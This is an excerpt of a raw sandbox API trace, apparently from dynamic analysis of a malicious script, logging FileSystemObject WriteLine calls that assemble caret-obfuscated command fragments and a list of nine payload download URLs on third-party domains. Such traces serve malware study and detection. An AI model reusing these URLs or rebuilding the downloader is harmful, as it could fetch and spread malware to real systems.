pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b948*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="Forea^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.555] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.555] SysReleaseString () returned 0x1 [0148.555] CoTaskMemFree (pv=0x249c87618b0) [0148.557] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.557] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.557] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.557] SysAddRefString () returned 0x0 [0148.557] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.557] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.557] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.557] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762ec8, pBstrHelpFile=0x249c8758f60*="韰졵ɉ") returned 0x0 [0148.557] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762fe8, pBstrHelpFile=0x249c8758f60*="韰졵ɉ") returned 0x0 [0148.557] malloc (_Size=0x8) returned 0x249c884edb0 [0148.557] malloc (_Size=0x14) returned 0x249ca4477d0 [0148.557] _snwprintf_s (in: _DstBuf=0x249ca4477d0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"ch($ur^\"") returned 9 [0148.557] malloc (_Size=0x4e) returned 0x249c884a540 [0148.558] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.558] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\"ch($ur^\"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\"ch($ur^\"") returned 0x0 [0148.558] wcscat_s (in: _Destination="ITextStream.WriteLine(\"ch($ur^\"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"ch($ur^\");\r\n") returned 0x0 [0148.558] wcsncpy_s (in: _Destination=0x249ca4d530c, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\"ch($ur^\");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\"ch($ur^\");\r\n") returned 0x0 [0148.558] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.558] free (_Block=0x249ca4477d0) [0148.558] free (_Block=0x249c884edb0) [0148.558] free (_Block=0x249c884a540) [0148.558] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b990*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ch($ur^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b990*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ch($ur^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.558] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.558] SysReleaseString () returned 0x1 [0148.558] CoTaskMemFree (pv=0x249c87614f0) [0148.558] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.558] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.559] CoTaskMemAlloc (cb=0x28) returned 0x249c8761700 [0148.559] SysAddRefString () returned 0x0 [0148.559] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.559] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.559] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.559] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762fe8, pBstrHelpFile=0x249c8758f60*="鸰졵ɉ") returned 0x0 [0148.559] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87625c8, pBstrHelpFile=0x249c8758f60*="鸰졵ɉ") returned 0x0 [0148.559] malloc (_Size=0x8) returned 0x249c884eda0 [0148.559] malloc (_Size=0x10) returned 0x249ca447850 [0148.559] _snwprintf_s (in: _DstBuf=0x249ca447850, _DstSizeInWords=0x8, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"l in^\"") returned 7 [0148.559] malloc (_Size=0x4a) returned 0x249c884a540 [0148.559] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x25, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.559] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x25, _Source="\"l in^\"", _MaxCount=0x7 | out: _Destination="ITextStream.WriteLine(\"l in^\"") returned 0x0 [0148.559] wcscat_s (in: _Destination="ITextStream.WriteLine(\"l in^\"", _SizeInWords=0x25, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"l in^\");\r\n") returned 0x0 [0148.559] wcsncpy_s (in: _Destination=0x249ca4d5354, _SizeInWords=0x22, _Source="ITextStream.WriteLine(\"l in^\");\r\n", _MaxCount=0x21 | out: _Destination="ITextStream.WriteLine(\"l in^\");\r\n") returned 0x0 [0148.559] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.559] free (_Block=0x249ca447850) [0148.559] free (_Block=0x249c884eda0) [0148.559] free (_Block=0x249c884a540) [0148.559] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b9d8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="l in^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b9d8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="l in^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.560] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.560] SysReleaseString () returned 0x1 [0148.560] CoTaskMemFree (pv=0x249c8761700) [0148.560] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.560] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.560] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.560] SysAddRefString () returned 0x0 [0148.560] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.560] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.560] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.560] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87625c8, pBstrHelpFile=0x249c8758f60*="駰졵ɉ") returned 0x0 [0148.560] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762e68, pBstrHelpFile=0x249c8758f60*="駰졵ɉ") returned 0x0 [0148.560] malloc (_Size=0x8) returned 0x249c884edd0 [0148.560] malloc (_Size=0x10) returned 0x249ca4477d0 [0148.561] _snwprintf_s (in: _DstBuf=0x249ca4477d0, _DstSizeInWords=0x8, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" @('^\"") returned 7 [0148.561] malloc (_Size=0x4a) returned 0x249c884a540 [0148.561] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x25, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.561] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x25, _Source="\" @('^\"", _MaxCount=0x7 | out: _Destination="ITextStream.WriteLine(\" @('^\"") returned 0x0 [0148.561] wcscat_s (in: _Destination="ITextStream.WriteLine(\" @('^\"", _SizeInWords=0x25, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" @('^\");\r\n") returned 0x0 [0148.561] wcsncpy_s (in: _Destination=0x249ca4d5398, _SizeInWords=0x22, _Source="ITextStream.WriteLine(\" @('^\");\r\n", _MaxCount=0x21 | out: _Destination="ITextStream.WriteLine(\" @('^\");\r\n") returned 0x0 [0148.561] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.561] free (_Block=0x249ca4477d0) [0148.561] free (_Block=0x249c884edd0) [0148.561] free (_Block=0x249c884a540) [0148.561] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44ba20*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" @('^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44ba20*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" @('^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.561] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.561] SysReleaseString () returned 0x1 [0148.561] CoTaskMemFree (pv=0x249c87614f0) [0148.561] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.561] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.562] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.562] SysAddRefString () returned 0x0 [0148.562] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.562] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.562] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.562] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762e68, pBstrHelpFile=0x249c8758f60*="鹰졵ɉ") returned 0x0 [0148.562] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87624a8, pBstrHelpFile=0x249c8758f60*="鹰졵ɉ") returned 0x0 [0148.562] malloc (_Size=0x8) returned 0x249c884ece0 [0148.562] malloc (_Size=0x34e) returned 0x249ca4479d0 [0148.562] _snwprintf_s (in: _DstBuf=0x249ca4479d0, _DstSizeInWords=0x1a7, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\"") returned 422 [0148.562] malloc (_Size=0x204) returned 0x249ca447d30 [0148.562] _snwprintf_s (in: _DstBuf=0x249ca447d30, _DstSizeInWords=0x102, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.562] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x102, _Source="\"http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/11\"", _MaxCount=0xe3 | out: _Destination="ITextStream.WriteLine(\"http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/11\"") returned 0x0 [0148.562] wcscat_s (in: _Destination="ITextStream.WriteLine(\"http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/11\"", _SizeInWords=0x102, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/11\");\r\n") returned 0x0 [0148.562] wcsncpy_s (in: _Destination=0x249ca4d53dc, _SizeInWords=0xfe, _Source="ITextStream.WriteLine(\"http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/11\");\r\n", _MaxCount=0xfd | out: _Destination="ITextStream.WriteLine(\"http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/11\");\r\n") returned 0x0 [0148.563] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.563] free (_Block=0x249ca4479d0) [0148.563] free (_Block=0x249c884ece0) [0148.563] free (_Block=0x249ca447d30) [0148.563] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44ba68*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44ba68*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.563] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.563] SysReleaseString () returned 0x1 [0148.563] CoTaskMemFree (pv=0x249c8761b80) [0148.563] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.563] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.563] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.564] SysAddRefString () returned 0x0 [0148.564] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.564] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.564] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.564] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87624a8, pBstrHelpFile=0x249c8758f60*="鞰졵ɉ") returned 0x0 [0148.564] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, 